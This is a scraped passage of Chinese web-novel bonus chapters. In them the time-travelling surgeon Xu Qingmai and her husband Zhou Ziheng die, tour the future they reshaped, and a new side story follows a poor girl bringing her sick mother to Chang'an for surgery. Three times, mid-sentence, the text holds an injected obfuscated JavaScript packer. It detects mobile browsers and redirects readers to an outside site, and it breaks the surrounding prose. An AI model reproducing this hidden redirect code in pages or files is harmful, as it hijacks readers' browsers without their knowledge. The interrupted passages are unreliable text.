《大唐外科医生 番外》 1. 系统与后世 徐清麦在她四十岁的那一天终于获得了系统的最后一个成就——“天下闻名的医学圣手”。 在听到系统恭喜的提示音时,她恍惚了许久。 在之前很长一段时间,她为了减轻对系统的依赖已经将很多提示音都关闭了,而且也很少再去兑换新的药品和日用品,只是在遇到一些疑难病症的时候会使用系统的虚拟手术室进行练习。 但显然,这个升级的提示音并不在可关闭的范畴内。 她进入到系统之后,差点被空间里炸开的烟花和彩带给吓了一大跳,璀璨的特效让原本一片纯白科技风格的空间变成了深沉的夜空,夜幕上群星闪耀。 当中,一个泛着莹白色光芒的宝箱漂浮在半空中。 徐清麦无言以对,心里已经隐隐有了一个猜想:系统平时抠门得要死,这空间也从来如一潭死水般没有任何变化。如今这么大的改变,恐怕是某个节点已经到了。 她抬起头来看了看状态栏,自己的等级已经变成了LV10的满级,“天下闻名的医学圣手”这个称号也正在金光闪闪,熠熠生辉。还有她的积分,后面缀着长长的一串,早已经不是之前那可怜兮兮的十位数百位数了。 这都是这些年徐清麦所留存积攒下来的家当。 她站在空间许久,静静看着漂浮在半空中的宝箱,屡次伸出手去想要碰触,但是却又停了下来,反复几次,最终还是没有打开宝箱。 回到家之后,周自衡见她有些神不守舍不免纳闷。 “发生了何事?”他问道。 徐清麦犹豫了一下,最后还是将这件事告诉了他:“......我之前和你说过,说不定等我满级后,就可以兑换到再穿越回去的资格。” 周自衡也沉默了一瞬。 他蹲下来,平视着坐在椅子上的徐清麦,温柔问:“你想回去吗?” 徐清麦伸出手在他已经不年轻,眼角甚至还出现了一两条细纹但看上去却更加儒雅成熟的脸上摩挲,感受着他的温度: “如果是二十年前,我绝对会义无反顾的开启那个宝箱。但如今......” 她转向窗外,看着熟悉的院落以及远处隐隐可见的大明宫的屋檐,悠然一叹:“我已经很久没梦到前世的景象了。如果说心安之处即安身立命之所。那或许,这里已经是我认定的地方了。” 这里有她的家人、亲友、学生,还有她为之奋斗了一生的事业。 现在离开吗? 不不。 徐清麦看向她熟悉的眼眸,含着笑意:“如果能和你一起回去,那还好点儿。可若如果只能我自己一个人回去,那还有什么意思呢?” 周自衡站起来,身形笼罩着她,低下头来在她的额头上轻吻了一记。 他低低道:“既然这样,那就不走。” 徐清麦抱着他依然劲瘦的腰,只觉得无比安心,但心里又涌出好奇,忽然抬头问道:“如果我选择了想要回去,而且只能我自己一个人回去,那你会怎样?” 周自衡看着她,虽然他的眼神很平静但让徐清麦却不由得感受到了一阵寒意,她讪笑一声,赶紧道:“开玩笑的,别当真。” 她怎么可能会抛弃他将他一个人留在这里呢? 周自衡轻哼一声,弯下腰来搂紧了她:“那或许,史书上就要记载一个因爱妻早逝而沉迷于封建迷信活动妄图穿越时空,或者是悲恸之下萧索隐居从此孤寡过完余生的疯子了。” 徐清麦被他那句沉迷于封建迷信活动给逗笑了。 她忽然也生出好奇:“不知道后世到底会怎么发展?后世的人又会怎么看我们?” 这个疑问不止一次在她的心中飘过,但直到她离世时才得到答案。 徐清麦过世的时候八十岁,已经是古稀老人,称得上一句老寿星了。 她的意识在亲人与学生们模糊的哭声中漂浮,最后慢慢飘到了半空中。 朦胧中似乎有声音问她:“你愿意再活十年吗?” 十年吗? 徐清麦缓慢但极快速坚定地摇了摇头:“不,我不需要。” 声音立刻消失了。 她感觉到自己在以极快的速度向上升起,不知过了多久,停留在了一片空间之中。眼前的一切似乎都蒙上了一层雾,看得不真切,自身似乎也变成了宇宙中最不起眼的一颗小光点,而且旁边还有另外一个小光点正在围绕着自己上上下下地转动。 没有任何来由的,徐清麦知道,那是周自衡。 他是在一个月前去世的,没有病痛,算是平静地走完了这一生。徐清麦也是,在周自衡离开的那一晚她便知道,自己的时间也所剩不多了。 早日离去也好。 所以,再活十年什么的,从来没想过。 只是她没想到,死去后会是这样的世界,而且周自衡依然也这里等她。 一声轻悠却又绵长的钟声被敲响,似乎跨越了亘古,在她的耳朵边响起。钟声过后,原本朦胧的迷雾似乎一下子就稀薄了许多,眼前的世界也被擦拭得明朗了起来。 “你来了。”她能感觉到身边的光点正在向自己传递着这样的讯息。 平静而喜悦的陈述,似乎并不因此感到意外。 她同样喜悦:“是,我来了。” 一个声音破坏了此时的脉脉温情:“ID32001号,终于等到你了。” 虽然很多年没有再听过这个声音,但徐清麦一下子就认出来了:“是你!” 这是系统的声音。 系统在那次放完烟花后就陷入到了沉眠之中,而那个原本被视为奖励的宝箱最终也消失了。徐清麦没想到在死后会以这样的形式再见到它,甚至与它沟通。 “32001号用户,是我。”系统的声音依然是无机质的,但听来却似乎又有些不同,“我在这里等了你四十年。四十年前,你的最终奖赏被发放了下去,但是你却一直没有领取。” 徐清麦苦笑:“我担心一打开后便会将我传送回来的那个世界。” 索性不领取,当做一切都没有发生。 系统:“你是少数几个选择了停留在本位面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606508|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”它停顿了一下,“也是少数几个真正推动了历史改变的用户。ID32001号,作为你的绑定系统,我以你为荣。” 在一旁听着的周自衡:“或许这两者是强相关的。” “或许。”系统的声音,“你也是,虽然你没有系统。作为穿越时空推动了历史改变的人,我未经你的同意将你留在了这里,请你见谅。” 周自衡:“是我要感谢你才对。” 他和徐清麦对视一笑。 徐清麦意识到此时的系统竟然是可以沟通与交流的,立刻问出了自己心中盘旋已久的疑问:“你到底是什么?我们穿越时空是和你有关吗?为什么会做这样的事情?为什么又是我们?” 疑问四五连。 系统静静地听着,然后道:“这些问题如果要全部解释清楚的话那就太复杂了,我长话短说。 “很多很多年后,这里的年所用的单位以万计,人类已经从低维走向了高维......” 人类进入到高维生命后,走向宇宙后,对自己的文明愈发的看重,也开始回看自己的来时路。他们诞生了一个想法,是不是能采用时空跃迁的技术来回到历史中去弥补遗憾? 而在历史的塑造过程中,人本身的因素又会占到多大的比重? 于是,系统由此而诞生。 根据它的说法,它会选定不同职业与性格的人进入到一些特定的历史时期,这些人往往在本来的世界里遭受了重创,但是在新时空里得以新生。 但,大多数的人都失败了,成功的寥寥无几。 政治家醉心于权势忘记了初衷,善战者沉迷于战果将世界拉入泥潭,平民被淹没在琐事中只能躺平......历史似乎不以个人的意志为转移,不停地在修正各种BUG,势不可挡地回到了自己原本的道路上。 “你们是成功的其中之一。”系统的声音里带着赞许。 徐清麦听完后半晌无语。 周自衡亦然。 这怎么不算是另外一种意义上的“科技改变未来”呢? 徐清麦忍不住问道:“那被我们改变的未来是什么样子?” 系统的声音传来:“这正是我在这里的原因。本来你是有机会回到原来的世界继续生活的,但既然你放弃了那次机会,作为成功者,理应获得奖励。” 它顿了一下:“我可以将你们的意识送到被你们改变的世界里,但时间并不会很长,大概也就一个小时。你们愿意吗?” 愿意,当然愿意! 两人几乎是立刻就做出了选择。 话音刚落,一阵天旋地转如同万花筒的瞬间过去后,阳光让眼前的一切都变得温暖而明亮了起来,无数的声音从四面八方传来。 有车辆的声音,叫卖的声音,小孩子叽叽喳喳的声音......汇聚成一股洪流,嘈杂而又熟悉,让两人的意识急速下坠。 徐清麦听到在路口的大屏幕上传来声音: “所以,林教授,您觉得徐清麦与周自衡两位真的是如网友们所说,穿越过去的吗?” 2. 系统与后世 荧幕上在放的是一个文史娱乐型的谈话节目。 徐清麦听了几嘴路人的议论,应该是最近有一个以她和周自衡为原型的电视剧上映了而且收视率十分高,横扫了整个颁奖季,所以电视台和很多自媒体都做了一些相关的内容。 周自衡自打穿越过去就给自己搞了一个字,从此正儿八经叫起了周自衡。而她的话,是用同样的方法,成为了徐四娘徐清麦。 看来,这两个名字都被留在了史书上。 徐清麦与周自衡的意识静静伫立在半空中,含笑看着屏幕上的节目。 徐清麦:“我记得当时我们还讨论过这个问题。” 周自衡:“没想到能听到后世的看法,有趣。” 两人在一开始的时候是很谨慎的,还会给自己的一些见闻以及知识绞尽脑汁地找到一个正当的理由,并且还会藏拙。但到了晚年的时候却忽然不那么顾忌了。 一个是因为他们早已经德高望重,桃李遍天下,一个则是因为知道自己时日不多,所以就想要尽可能的给后人留下一些东西。当时,两人在一起做得最多的就是著书,将自己脑海中的知识全部搜刮了遍然后互相印证,记在了册子上。 从天文地理医学,到物理化学还有数学......十年里,两人加起来就出版了十几本书。 至于世人怎么想,管他们呢! 屏幕上。 被问到的史学家笑道:“这也算是网络上著名的洗脑包了,徐周二人与王莽并称为古代知名穿越人士。咱们且不说穿越时空这门技术到底存不存在,只从现有的史料上来找,徐周二人是有详细的出身来历的,至于说是没有喝孟婆汤或者是借尸还魂这样的说法,那就更玄了,不在咱们今天的讨论范畴内。 “而且,史书上没有任何只言片语可以显示,他们有不同于常人之状。 “那么,我们理智地来分析,徐清麦开创了外科一道,其实也并非是脑子一拍就横空出世,在此之前,华佗就曾经触摸到了外科的核心领域,而疡医更是自古有之。徐清麦曾经写过自己的师承是来源于一位番僧,可惜现在史料上已经找不到那位番僧的姓名,但综合各方面的线索合理的推测,应该与古希腊医学有些关系。 “只能说,她绝对是不世出的天才,集合了东西方两家之长,这才一举将华夏医学推到了新的高度。 “有的时候,像咱们这样的普通人面对一些绝世天才的时候总是会产生怀疑,这是正常人类可以做到的吗?但其实这样的人虽然稀少,回溯几千年的历史却也总能找出那么几位的。” 主持人:“比如西方的达芬奇、牛顿?”① 史学家:“对。他们都是这种横跨数个学科的牛人,也经常被网友们猜测是不是穿越的,这其实就是咱们普通人的局限之处。不创造出一些惊世骇俗的成就,不开宗立派,怎么会被称之为千年难得一遇的天才呢?” “说起开宗立派,我记得医学院的医生毕业都要对着徐医仙的雕像来宣誓的?”主持人问一旁请来科普医学知识的医学家。 医学家笑道:“当然!而且不仅仅是医生,护士们毕业也一样的。不单单是外科,徐医仙在内科和制药方面其实也颇有研究,做出了很大的贡献,华夏医学自她而始,一直都站在世界巅峰从来没有掉下来过。而且医学院的模式也是她一手建立的,所以,她正儿八经就是我们这个行业的祖师爷。” 医学家的口吻充满了崇拜与敬仰。 这个时空中所有的医学生都是她的学生与弟子。 徐清麦得知自己被称为医仙,以及开宗立派的祖师爷颇有些汗颜。不过,她对后世之人的夸奖却坦然受之。虽然外科知识她也是传承自其他人,但能将其切切实实的建立起来并且让它成为成功立足又促进了医学的发展,其个中艰辛曲折实非外人所能想象。 她又听到主持人笑道:“其实也一直有个传闻,现在的教育模式与徐周二人有关,温先生,您怎么看?” 史学家温先生道:“这里我要强调一下,这件事并非仅仅只是传闻,而是确实如此。有真实的史料记载,贞观年间太医寺设医学院正是源于徐清麦的提议,而且初期的一些课程设置也是她一手操办。后来,当时还在担任司农寺卿的周自衡也开设了农学院。只不过农学院在当时听来实在难登大雅之堂,培养的大多都是司农寺的吏目。” 主持人:“但这两所学校现在都流传了下来,成为了当今医学界和农学界的最高学府。还有致真学院,已经有一千多年的历史了。” “对。”温先生道,“正是因为这几所学校的兴起,所以当时朝廷也好,那些大儒也罢,也都纷纷的开设私学,慢慢演变成了这种综合性的学校。而且朝廷也不遗余力地开设了许多公办的学堂与书院,科举开始兴盛。从此之后,即便是战火中,华夏的讲学与办学之风也都没有衰败过。 “这奠定了华夏文明的基础。也让我们后来在与世界其他文明的争锋中从来没有落败过,一直都处于领先的地位。” “所以,大家现在所耳熟能详的关于这两位的成就,是比如徐清麦被奉为医仙,而周自衡被奉为农圣,各地现在也都有供奉他们的庙宇传下来。但比起这些,我们史学界有个大家都认可的观点就是,他们两人对于教育的看重,尤其是对于科学的传播,对于航海的看重才是影响后世更为深远的方面。包括他们的女儿,周天涯,后面也是传承了他们的遗志,一直都活跃在教育领域,资助了不少后来举世闻名的科学家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606509|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和航海家,现在咱们几所世界顶尖学府成立的背后就有着她的影子。 “可见,徐周二人对于这方面的看重,是超越了时代的。” 主持人感叹:“所以两人在过世前的十年,留下了不少有关教育的书籍,而且横跨了好几个学科。” 医学家不失时机地插话:“天才的精力和学习能力的确是异于常人的。” “这就又回到了我们当初讨论的话题,”主持人道,“徐周二人到底是不是穿越的?当然了,通过温先生的讲解我们也了解到了一些史料。不过,温先生,我还有个疑问。” 她是真心困惑:“如何解释他们是土生土长的唐人,却能知晓在万里之外的美洲大陆呢?而且周自衡对橡胶树等作物似乎也格外的关注,在大唐还没有这些作物的时候就知道它们似乎能派上大用场?” 历史学家:“不知道你们有没有听过一句话?据说是周自衡老年所说的一句话。” 医学家脸上露出兴奋之色:“我知道!是那句‘人类的最高科技就是烧开水’!” 半空中。 周自衡哑然失笑:“这句话也被传下来了吗?” 徐清麦还能记得当时的情形:“你当时坐在榻上与我一起校对那本《物理》,天气有些冷,旁边的小炉子正在烧着开水......” 那时已经有了少许煤炭的存在,炼铁技术也有了进步。铁皮的小水壶在煤炭炉子上放着,水温渐渐升高,将水壶盖子顶得不住地在小幅度跳跃。 周自衡着迷地看着,发出了以下感叹:“烧开水才是这世界上最为奥妙的核心科技啊!” 徐清麦当时听了不禁莞尔:“的确如此。” 不管是蒸汽机也好,后面的火箭、核电站等等,本质上就是“烧开水”。 被她一提醒,周自衡也想了起来:“我记得当时天涯在场,问我为什么,我就解释了几句,许是她将这些对话记录了下来。也好,当时咱们实在分身乏术,不然研究一下蒸汽机肯定也很有意思。” 荧幕上。 主持人显然也想起了这句在整个科技史上都振聋发聩的话,笑道:“当然记得。后来真有不少人真的特意去钻研了烧开水,几十年后,终于诞生了第一台蒸汽机的雏形。” 史学家:“所以天才的眼界是超越时代的......” 他坚定认为徐周二人和穿越无关,知晓美洲大陆以及橡胶树等等大概也是从当时的胡人以及往来甚密的航海家海商们口中知道的...... 徐清麦和周自衡没有再听下去——就这样听着后世人对自己的“吹嘘”未免有些不好意思,但没想到那个电视剧太火了,他们只是在这个世界好奇地转了一圈,就能听到许多的讨论。 3. 系统与后世 比方,在路口停下脚步很认真在看节目的几个女孩子就在吐槽。 其中一个人尤为不满:“拍的都是些狗屎,要拍徐尚书就好好的拍,那么多可拍的,结果非得要大篇幅的加一堆感情戏在里面,烦!” 尚书啊......徐清麦脸上闪过怀念之色,为自己在朝堂上的那一段峥嵘岁月。 那是自己五十多岁的时候,为了避免夫妻俩权势过重,周自衡辞去相位,专心研究自己的农学和科学。徐清麦本来也想要辞官的,但皇帝不许。为了表示他的诚意,甚至将徐清麦封为了户部尚书。 史上第一个女尚书。 当时,虽然朝中已经有了一些女官,但都是低阶,担任一些吏目的职位。对皇帝的这一道诏令,群臣中虽有些人不满,但彼时徐周两人名声已达顶峰,因而也只能睁一只眼闭一只眼。 不过,徐清麦这个户部尚书也就当了五年便也挂印而去。 当官什么的,早就厌倦。杏林中,自己也已有接班人。不如和周自衡一起逍遥于山水,闲时再修修书,岂不乐哉? 从回忆中醒过来,几个女孩子的议论声继续传来: 另一个女孩子点头赞同,忿忿不平:“就是!不管谁来了,徐周都是官配!老天来了都拆不散!结果给安排一堆男配女配的感情戏,都是资本塞进来的人吧,看着都讨厌!” “不过,我觉得那个阿史那社尔的演员还挺帅的......”第三人弱弱道。 徐清麦与周自衡原本是含笑听着的,听到这里周自衡淡淡的声音响起来:“倒是没想到几千年后,阿史那社尔这厮还是阴魂不散啊!” 隐隐间有些咬牙切齿。 徐清麦扑哧一笑:“行了行了,都一把年纪的人了,还惦记这个。” 两人自然是玩笑之语。阿史那社尔后来与他们成为了朋友,在向突厥大力推行羊毛业的时候还曾经合作过,属于对方来了长安便会来家中坐坐的友人。 “行了行了,现在的这些编剧不搞点狗血感情戏就没法活了。他们不给徐尚书和李二凤扯出点什么乱七八糟的剧情,咱们就已经谢天谢地了!” 徐清麦:“......” 周自衡:“......” 想起来,后世的编剧们的确是这个德行。 几个女孩子脸上同时露出嫌弃的表情。 “看,网上也在骂!”其中一位举起手机,将自己在看的app页面分享给其他两人。 徐清麦好奇的往那边瞥了一眼,但立刻意识体就被拉入到一片信息洪流的世界。无数的文字和图片在她的面前急速的刷过。 她看到网友A义愤填膺:“徐清麦最大的功绩是她是华夏第一个坦坦荡荡上朝的女官,而且还做到了尚书位!从此女官才逐渐走入到大众的视野。结果编剧脑子和被屎糊过一样,朝堂戏写得都是些什么玩意儿!” 网友B:“当时除了徐清麦之外,还有许多惊才绝艳的女性。比如以公主之身步入朝堂的平阳长公主,还有大力扶持教育和女学的长孙皇后,继承了老师衣钵后来也当了太医寺丞的刘若贤,以女子之身继承了国公爵位开创了女性继承人先河的周天涯......如果不是有了她们的开端,后来大唐也不会出现三位女帝。结果到了编剧的笔下,就只剩下雌竞了!” 徐清麦轻轻挑起眉,看来自己死后,皇帝终究还是让天涯袭爵了。 挺好。 网友C:“呜呜呜,医仙和公主的CP真的好好磕,结果变成了雌竞,编剧我要杀了你啊啊啊啊!” 网友C嗷嗷嗷:“其他的也就算了,坚持抵制XXX那个整容怪演平阳长公主!我的公主啊!” 下面顿时歪楼了:“XXX不是说她没整容吗?” “肯定整了,她刚出道时那么黑,眼睛也是内双。不过现在微调也不算整了。” 于是,帖子渐渐地演变成为了历史粉和明星粉的各种大混战。 徐清麦和周自衡看得眼花缭乱、津津有味。 周自衡:“......居然还有你和平阳的CP?” 徐清麦淡定道:“那有啥?你看,这不是还有你和李崇义的CP吗?等等,还有你和李世民甚至是李承乾的呢,你们是在上演燃冬吗?” 周自衡:“......” 虽然他早知后世同人女的威力,但此时依然大开眼界。 他无语道:“你还挺感兴趣啊?” 徐清麦哈哈笑道:“如果不是时间不够,我都想看看她们写了些啥,一定很有意思。” 他们以意识体的形态阅读信息十分快速,看得不亦乐乎。 两人第一时间几乎是不约而同去翻近代史,当看到与自己来的世界所迥然不同的近代史时,看到那些原本有的苦难和屈辱在这个时空中被成功规避掉了之后,激动万分。 意识体一明一灭的闪烁,传递出主人激动的情绪,甚至都变得不稳定起来。 要知道,这才是他们最大的动力。 在此之后,才开始看那些娱乐帖子。 很快,徐清麦又翻到一个有趣的帖子:“看,这里还有个吵架的帖子,在吵到底是我的贡献大还是你的贡献大,哈哈哈。” 周自衡十分头秃:“......果然还是吃饭吃太饱了啊!” 但嘴上是这么说,他也还是很感兴趣地凑了过去,谁能在时隔几十年之后拒绝上网冲浪的快乐呢? 帖子里两方人马显然一方是徐清麦的粉丝,一方是周自衡的粉丝,正吵得不可开交: 网友A:“当然是徐圣牛逼,光是研究出天花疫苗这一项就足以名留青史!” 网友B显然是周自衡的唯粉,徐清麦的黑粉:“你搞笑吧?牛痘是人药王孙思邈搞出来的,别说得好像是你家徐圣自己一个人折腾出来的一样。” 网友A不甘示弱:“要不你去查查健康大瘟疫时期死了多少人?再去看看徐圣的医疗和卫生防疫体系搞出来之后,每次瘟疫死的人数?比较一下你就知道为什么徐圣是大功德了。” “你这话说得,我周圣还提高了粮食产量呢,还改良了稻种呢,怎么不说他从□□里救出了多少人?现在我农村奶奶家还供奉了他的像呢。还是我周圣牛逼!” “那徐圣还开创了外科和医学院和女学之先呢!” “周圣同样开创了农学和农学院,还有大唐各州学县学也是他提案的!而且,周圣还大力提倡航海,才有了百年后美洲的发现!周圣还开办了科学院,搜罗了大量的科学家和大匠师!” “你好意思吗?这些事情徐圣也有参与的好吧?你可别忘了,《化学初篇》就是徐圣后来写的!徐圣化学好,所以才做了香皂这些东西。” “周圣还制糖制盐呢......” 两方吵得一塌糊涂,CP粉在旁边劝架:“不是,就不能是两个人一样牛逼吗?非得争出个高下?” 双方同时回:“CP粉闭嘴,最烦你们CP粉!” CP粉来了火气:“呵呵,怎么滴?那有本事你们穿越回去拆散他们呀?我们徐圣和周圣就是相亲相爱、双宿双栖的夫妻呢,对不住喽!” 他们磕的可是真夫妻! 徐清麦和周自衡对视一眼,大呼厉害厉害,看着后世之人为自己吵架真是有意思得很呐。 可惜那女孩子看了会儿后就将手机收了起来:“走吧,吃饭去,饿了。” 几人有说有笑朝旁边的商场走去。想必她们今日的餐桌上,必然是美食珍馐,佳肴满桌,再也不用感受千年前普通老百姓的困窘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14606510|156064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐清麦和周自衡笑着伸手轻拂过她们的头顶,为后世之人送上他们的祝愿。 这就是他们想要的未来啊! 那女孩子停了下来。 同伴问:“怎么了?” 女孩子的眼神有一些惘然:“没什么,就是忽然有些说不上的感觉......”她重新拾起刚才的话题,和几个人叽叽喳喳往前走去。 徐清麦和周自衡回到了空间里。 系统正在等待他们。 “”我还有最后一个愿望。”徐清麦道,“我想看一下原本徐四娘和周纯后来怎么样了?” 她经常会对徐四娘感到歉意,感觉像是自己占据了她的人生。 周自衡虽然对周纯并不以为然,倒也想要看看周纯用自己的身份在后世做得如何?有没有将他家里的公司折腾破产? 于是,在系统的帮助下,他们看到了徐四娘和周纯在现代的生活。 徐四娘自然不可能再做医生。她的适应能力算是很强,而在接受了现代的文化冲击之后忽然发现原来女子也能这样活。于是,她出院后便谎称自己失忆,从医院里辞职了。 在过了一段惶恐的日子后,徐四娘也慢慢融入到了现代生活。然后她忽然发现自己其实是可以凭借着自己过往独特的生活经历来赚钱的。她会做衣裳,会刺绣,还和母亲姐姐学了点制香,还会唐朝时的民俗,靠着这些技艺,她复原古代生活的视频很受大家的欢迎。 后来,她还开了一家线上店铺,主要做复原的汉服以及一些小玩意,生意非常好。 唯一有些想念的,就是自己的女儿。 而周纯,他的伤更重,在医院躺了半年才出院。 他和徐四娘都知道真相。 徐四娘和他提出了分手,周纯虽然有些面子上过不去,但却也如释重负。他原本就后悔和徐四娘成婚了,如今也算是顺理成章。而且自己占据的这个身份似乎是成功人士,他觉得自己完全可以从头再来,走上人生巅峰。 不过周纯本不是做生意的料,周家的公司很快便在他的折腾下败落了,周父周母以及周自衡的其他两个兄弟终于找到了机会联手将他赶出了公司,只给他留了一些傍身的财物。 好笑的是,被他这么一折腾,周家的公司彻底输给了抓住了机会的竞争对手,从此一蹶不振。 反倒是徐四娘,做得风生水起。 周纯这人有千般不好,但他承袭了贵族子弟的傲气,十分好面子,倒也没有主动再去找徐四娘。反倒是徐四娘听闻了他的遭遇,暗中帮了他几次。 两人到最后冰释前嫌,成为了淡如水的朋友,也算是有了个不错的结局。 看完这一段,徐清麦和周自衡不胜唏嘘。 真是如大梦一场。 “也挺好。”周自衡评价道。 他过完了自己的一生,对自己的原生家庭也早就散失了不忿感,如今看着便如同看外人的故事。 天地间传来悠悠钟声。 系统颇为遗憾:“你们的时间到了。如果我说,付出代价便能让你们的意识永远的长存,你们愿意吗?” 徐清麦与周自衡靠在一起,两人默契地看一眼,几乎是不约而同地摇了摇头。 徐清麦:“不愿意。” 周自衡:“此生已经足够了。” 他们这一生,经历了繁花灿烂,经历了风霜严寒,渡过了滚滚长河,也走过了坎坷山道......虽依然还有遗憾,但遗憾总是越填越多,又到哪里是个头呢? 如今能与爱的人在一起,即便是立刻消亡在天地间,也足以长笑当歌了。 宇宙星空璀璨,两个微微闪着光的意识体在其下不过是沧海一粟,流萤微光。 但亘古轮回,永恒却在那一瞬间。 4. 长安求医见闻记 贞观二十年。 一艘从洛阳驶出的船只在历经了十天的航程之后,终于抵达了长安城外的渭阳渡。不过,来往渭阳渡的船只熙熙攘攘,他们需要在江面上停留半日才能排队登陆码头。 在甲板的二楼,月娘和自己的同伴阿念依偎着栏杆看向江面和岸边,嘴唇微张露出惊讶表情:“这可比洛阳还要更热闹呢!” 她们来自庐陵,从浔阳坐船一路往西北方向而来,中途换了好几次车马和船。她原本以为浔阳已经算得上是繁华古渡,但没想到看过了扬州,又看过了洛阳,如今来到长安,依然有着眼花缭乱之感。 旁边一位年轻郎君从舱房中走出来,听了两人的话不禁失笑:“长安可是首善之地,且南来北往,西去东来的人都集聚在这里,自然是世上最热闹的渡口。” 旁边跟着他的管事也笑道:“郎君所言极是。这无论是从西域来的,还是从那东瀛、朝鲜、东南亚来的,最终都得要来长安,才能将他们手中的珍稀宝物卖出个好价格。” 月娘好奇地问:“在扬州和洛阳不一样也能卖出去吗?” “扬州和洛阳自然不缺豪富,”管事道,“可如果想要换取最轰动的名声,那还是得在长安。卖给哪位达官贵人,公主皇子甚至是获取陛下的欢心,那才是真正的荣耀呐!” 年轻郎君也就是月娘的兄长戴四郎立刻道:“陛下乃俭朴之人,因担心上行下效,从不贪恋豪奢之物,也从不接受民间进奉的各种奇珍。” 关于他们的这位陛下,有两个故事。 第一个是他刚登基的时候,有人曾经想要掳走一个长了尾巴的小女孩作为“异人”进奉上去,幸得当时刚回长安的周相公与徐寺丞救下,后来还成功给那小女孩切除掉了尾巴,让她成为了一个正常人。新皇听了这个故事后,感叹前朝皇帝爱好奢靡而且喜欢各种奇异事物,乃至于各处从官员到民间都使出了各种手段来搜刮奇珍异宝,其中就包括了不少异人,导致家庭破碎,民不聊生。因此,他下令,以后不许再进奉这一类的宝物和异人。 第二个是陛下登基几年后,颇有些懈怠,在收服了突厥之后更是志得意满。有一年除夕,他在宫中燃起了灯烛,又命匠人做了无数花灯,举办灯会与臣子共赏。从突厥回来的萧皇后也在场,陛下便问这场景比起隋炀帝时期来又如何?萧皇后却道,隋炀帝时,仅仅是一个晚上便要烧掉两百多车的沉香木,两百多石的油料,香味可以飘散到几十里之外。如今的场景如何能与那时候相比呢? 但是,如今乃是大治之世,而前朝却正是因为过于奢靡而亡国,陛下又为何要与前朝相比呢? 据说,皇帝听了这些话之后极为感触。从此之后,再也不行这奢靡之举。 这两个小故事传到民间,许多人涕泪满面,觉得在历经这么多年的苦难之后,终于迎来了一位英主明君。 戴四郎显然是陛下的忠实追随者。 管事自然也清楚,连连点头:“那是自然。” 几人聊了会儿之后,另一位少女阿念以江风大为由,告退回了自己的舱房。她下了楼梯,显然并不和月娘以及戴四郎一样住在更宽敞也更昂贵的上层厢房,而是挤在下层更狭小的空间里。 戴月娘觑了一眼身边兄长的神色,轻咳了一声,总算将戴四郎几乎要黏在阿念身上的眼神给拉了回来。 戴四郎抬头望了望天。 待到管事离开,甲板上只剩下他们两兄妹的时候,戴月娘才开口道:“四哥你就别想了,你和阿念绝无可能。阿念虽然看上去柔柔弱弱,但实际上心志坚定,她说了不会与人为妾的。而你,显然也不可能娶她为妻。为了她好,以后你还是别露出那种神色了。” 戴四郎气得哼哼一声:“到底谁才是你的哥哥?” 月娘眼睛翻了翻:“我是为了你好。” 戴四郎其实心里也清楚,当下叹了一声,颇有些惆怅:“知道了知道了,放心,我绝不会让她为难的。” 看道兄长也回了舱房,戴月娘松下肩膀,这才觉得心里轻快了不少。她很明白,对于兄长来说,这不过是一时的心血来潮,或许待他到了长安后这份感情便会被其抛诸于脑后。但对于阿念来说,一旦行差踏错,这辈子就毁了。月娘虽与阿念才认识两个月的时间,却觉得她是个可亲可敬的小娘子,希望她能好。 另一侧,阿念回到了底下的舱房内,房间狭窄没有什么光线,她的母亲与舅舅早已经收拾好了包袱就等待着下船。阿念的母亲脸色蜡黄,虽然只有三十多岁的年纪但看上去却像是五十岁的人,一脸疲惫之色。更让人侧目的是,她的衣裳下腹部隆起,整个人也似乎浮肿了一圈,似乎是怀了孕。 但阿念知道,这是因为母亲生了病。 她老家的悲田院医师说是母亲的肚子里长了个肉瘤,唯一救治的方式就是通过手术将肚子打开把瘤子割下来然后再将肚子缝回去。母亲当时听到的时候就煞白了脸,惊惶得差点晕了过去。 这肚子被打开了还怎么活? 阿念虽然家穷但父母都疼惜她,将她养在深闺,也慌了神。反倒是舅舅以前当过行商,当即就明白了医师说的是外科术。阿念这才知道,原来在庐陵之外,在长安洛阳等繁华的州城之地,外科术俨然已经是很风行的医疗方式。而那些经历过了外科术的病患,大多都活得好好的。 医师说这样的手术庐陵本地还做不了,去扬州和洛阳看看或许行,但最好就是去长安。 长安,才是外科术的圣地。而如果够幸运,能得到徐寺卿垂怜亲自为其做手术,那便稳了。 “不过,听闻徐寺卿如今事务繁忙,亲自下场做手术的时候并不多。”医师道,“你们也别抱太大希望,去洛阳找莫太医也行,他是徐寺卿的学生,医术同样高明......” 就这样,阿念带着母亲在舅舅的陪同下踏上了漫长的求医之路。她们先去了洛阳,但莫太医不在,要三个月后才能回来。阿念与舅舅一合计,便又决定来长安,看看能不能在这里撞撞运气。 